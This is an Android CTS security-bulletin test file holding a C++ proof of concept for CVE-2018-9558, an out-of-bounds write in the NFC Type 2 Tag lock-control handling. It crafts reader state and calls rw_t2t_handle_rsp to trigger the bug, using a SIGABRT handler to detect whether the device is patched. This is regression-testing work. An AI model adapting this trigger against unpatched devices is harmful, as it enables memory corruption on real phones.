xref: /aosp_15_r20/cts/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp (revision b7c941bb3fa97aba169d73cee0bed2de8ac964bf)
1 /*
2  * Copyright (C) 2022 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include "../includes/common.h"
18 #include <stdlib.h>
19 
20 #include <nfc_api.h>
21 #include <rw_int.h>
22 
23 #define INITIAL_VALUE 0xBE
24 #define NUM_BYTES 1
25 
26 bool isTestInProgress = false;
27 struct sigaction new_action, old_action;
sigabrt_handler(int signum,siginfo_t * info,void * context)28 void sigabrt_handler(int signum, siginfo_t *info, void *context) {
29     if (isTestInProgress && info->si_signo == SIGABRT) {
30         (*old_action.sa_sigaction)(signum, info, context);
31         return;
32     }
33     exit(EXIT_FAILURE);
34 }
35 
36 extern tRW_CB rw_cb;
37 void rw_init(void);
38 void rw_t2t_handle_rsp(uint8_t *p_data);
39 
poc_cback(tRW_EVENT event,tRW_DATA * p_rw_data)40 void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
41   (void)event;
42   (void)p_rw_data;
43 }
44 
main()45 int main() {
46     sigemptyset(&new_action.sa_mask);
47     new_action.sa_flags = SA_SIGINFO;
48     new_action.sa_sigaction = sigabrt_handler;
49     sigaction(SIGABRT, &new_action, &old_action);
50 
51     tNFC_ACTIVATE_DEVT p_activate_params = {};
52     p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
53     p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
54     RW_SetActivatedTagType(&p_activate_params, &poc_cback);
55     FAIL_CHECK(rw_cb.p_cback == &poc_cback);
56 
57     tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
58     rw_init();
59     rw_cb.p_cback = &poc_cback;
60     p_t2t->state = RW_T2T_STATE_DETECT_TLV;
61     p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
62     p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
63     p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
64     p_t2t->bytes_count = NUM_BYTES;
65     p_t2t->tlv_value[1] = UINT8_MAX;
66     p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
67     uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
68     memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
69     uint8_t data[T2T_READ_DATA_LEN];
70     isTestInProgress = true;
71     rw_t2t_handle_rsp(data);
72     isTestInProgress = false;
73     return EXIT_SUCCESS;
74 }
75